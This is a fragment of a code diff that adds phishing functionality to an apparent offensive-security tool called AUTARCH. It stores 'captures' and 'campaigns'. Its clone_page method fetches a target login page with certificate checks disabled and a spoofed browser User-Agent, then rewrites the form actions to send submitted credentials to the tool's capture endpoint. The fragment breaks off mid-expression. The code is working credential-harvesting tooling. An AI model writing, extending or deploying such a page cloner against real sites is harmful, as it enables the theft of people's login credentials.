+ self._data_dir = Path(get_data_dir()) / 'social_eng'
+ self._pages_dir = self._data_dir / 'pages'
+ self._captures_path = self._data_dir / 'captures.json'
+ self._campaigns_path = self._data_dir / 'campaigns.json'
+ self._qr_dir = self._data_dir / 'qr'
+
+ # Ensure directories
+ self._pages_dir.mkdir(parents=True, exist_ok=True)
+ self._qr_dir.mkdir(parents=True, exist_ok=True)
+
+ # Load persistent state
+ self._captures = self._load_json(self._captures_path, [])
+ self._campaigns = self._load_json(self._campaigns_path, [])
+
+ # ── Persistence helpers ──────────────────────────────────────────────────
+
+ @staticmethod
+ def _load_json(path: Path, default=None):
+ try:
+ if path.exists():
+ with open(path, 'r', encoding='utf-8') as f:
+ return json.load(f)
+ except (json.JSONDecodeError, OSError):
+ pass
+ return default if default is not None else {}
+
+ def _save_captures(self):
+ with open(self._captures_path, 'w', encoding='utf-8') as f:
+ json.dump(self._captures, f, indent=2, default=str)
+
+ def _save_campaigns(self):
+ with open(self._campaigns_path, 'w', encoding='utf-8') as f:
+ json.dump(self._campaigns, f, indent=2, default=str)
+
+ # ── Page Cloning ─────────────────────────────────────────────────────────
+
+ def clone_page(self, url: str, output_dir: str = None) -> Dict[str, Any]:
+ """Fetch a login page, rewrite form actions to AUTARCH capture endpoint.
+
+ Returns dict with ok, page_id, path, and file details.
+ """
+ if not REQUESTS_AVAILABLE:
+ return {'ok': False, 'error': 'requests library not installed'}
+
+ try:
+ parsed = urlparse(url)
+ if not parsed.scheme:
+ url = 'https://' + url
+ parsed = urlparse(url)
+
+ resp = requests.get(url, timeout=15, headers={
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) '
+ 'AppleWebKit/537.36 (KHTML, like Gecko) '
+ 'Chrome/120.0.0.0 Safari/537.36'
+ }, verify=False)
+ resp.raise_for_status()
+
+ page_id = hashlib.md5(url.encode()).hexdigest()[:12]
+ page_dir = Path(output_dir) if output_dir else self._pages_dir / page_id
+ page_dir.mkdir(parents=True, exist_ok=True)
+
+ html = resp.text
+ base_url = f"{parsed.scheme}://{parsed.netloc}"
+
+ # Rewrite relative URLs for resources
+ html = re.sub(
+ r'(src|href)=(["\'])(?!/|https?://)',
+ lambda m: f'{m.group(1)}={m.group(2)}{base_url}/',
+ html
+ )
+
+ # Rewrite form actions to point to AUTARCH capture endpoint
+ html = re.sub(
+ r'